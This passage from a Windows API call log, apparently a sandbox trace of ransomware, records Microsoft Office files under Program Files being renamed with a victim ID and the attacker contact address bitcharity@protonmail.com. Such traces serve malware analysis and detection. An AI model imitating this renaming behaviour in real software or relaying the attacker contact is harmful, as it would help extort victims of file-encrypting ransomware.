lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPCORE.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ppcore.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPTICO.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pptico.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.915] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.915] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8en.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.916] CloseHandle (hObject=0xff8) returned 1 [0270.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8EN.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8en.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.917] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.917] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8es.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8es.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.917] CloseHandle (hObject=0xff8) returned 1 [0270.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8ES.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8es.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.919] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.919] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\msgr8fr.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8fr.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.919] CloseHandle (hObject=0xff8) returned 1 [0270.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8FR.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8FR.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\msgr8fr.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.921] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.921] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7EN.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mshy7en.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.921] CloseHandle (hObject=0xff8) returned 1 [0270.923] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.923] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7ES.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mshy7es.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.923] CloseHandle (hObject=0xff8) returned 1 [0270.924] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.924] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSHY7FR.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mshy7fr.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.925] CloseHandle (hObject=0xff8) returned 1 [0270.926] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.926] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7en.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.926] CloseHandle (hObject=0xff8) returned 1 [0270.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7en.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.927] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.928] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7ES.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7es.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.928] CloseHandle (hObject=0xff8) returned 1 [0271.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7ES.LEX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7ES.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\mssp7es.lex.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.008] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.008] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\MSPUB9.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\mspub9.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.009] CloseHandle (hObject=0xff0) returned 1 [0271.014] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.014] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ACCSBAR.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\accsbar.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.014] CloseHandle (hObject=0xff0) returned 1 [0271.015] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.015] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ACCTBOX.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\acctbox.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.016] CloseHandle (hObject=0xff0) returned 1 [0271.017] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.017] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ad.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.017] CloseHandle (hObject=0xff0) returned 1 [0271.018] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.018] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AD98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ad98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.019] CloseHandle (hObject=0xff0) returned 1 [0271.019] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.019] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ADRESPEL.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\adrespel.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.020] CloseHandle (hObject=0xff0) returned 1 [0271.020] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.020] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AIR98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\air98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.021] CloseHandle (hObject=0xff0) returned 1 [0271.022] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.022] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\AWARDHM.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\awardhm.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.022] CloseHandle (hObject=0xff0) returned 1 [0271.022] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.022] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BAN98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\ban98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.023] CloseHandle (hObject=0xff0) returned 1 [0271.023] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.023] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BANNER.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\banner.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.023] CloseHandle (hObject=0xff0) returned 1 [0271.025] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.025] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BDRTKFUL.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bdrtkful.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.026] CloseHandle (hObject=0xff0) returned 1 [0271.027] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.027] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZCARD.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bizcard.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.027] CloseHandle (hObject=0xff0) returned 1 [0271.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZFORM.DPV" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bizform.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BIZFORM.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bizform.dpv.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.030] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.030] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BORDERBB.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\borderbb.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.030] CloseHandle (hObject=0xff0) returned 1 [0271.032] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.032] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BORDERBB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\borderbb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.032] CloseHandle (hObject=0xff0) returned 1 [0271.034] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.035] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCH98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\brch98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.035] CloseHandle (hObject=0xff0) returned 1 [0271.036] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.036] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCHUR11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\brchur11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.036] CloseHandle (hObject=0xff0) returned 1 [0271.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCHUR98.POC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\brchur98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BRCHUR98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\brchur98.poc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.038] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.038] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BROCHURE.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\brochure.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.038] CloseHandle (hObject=0xff0) returned 1 [0271.041] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.041] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BS2BARB.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bs2barb.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.042] CloseHandle (hObject=0xff0) returned 1 [0271.043] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.043] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BS4BOXES.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bs4boxes.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.043] CloseHandle (hObject=0xff0) returned 1 [0271.044] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.044] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\BS53BOXS.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\bs53boxs.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.045] CloseHandle 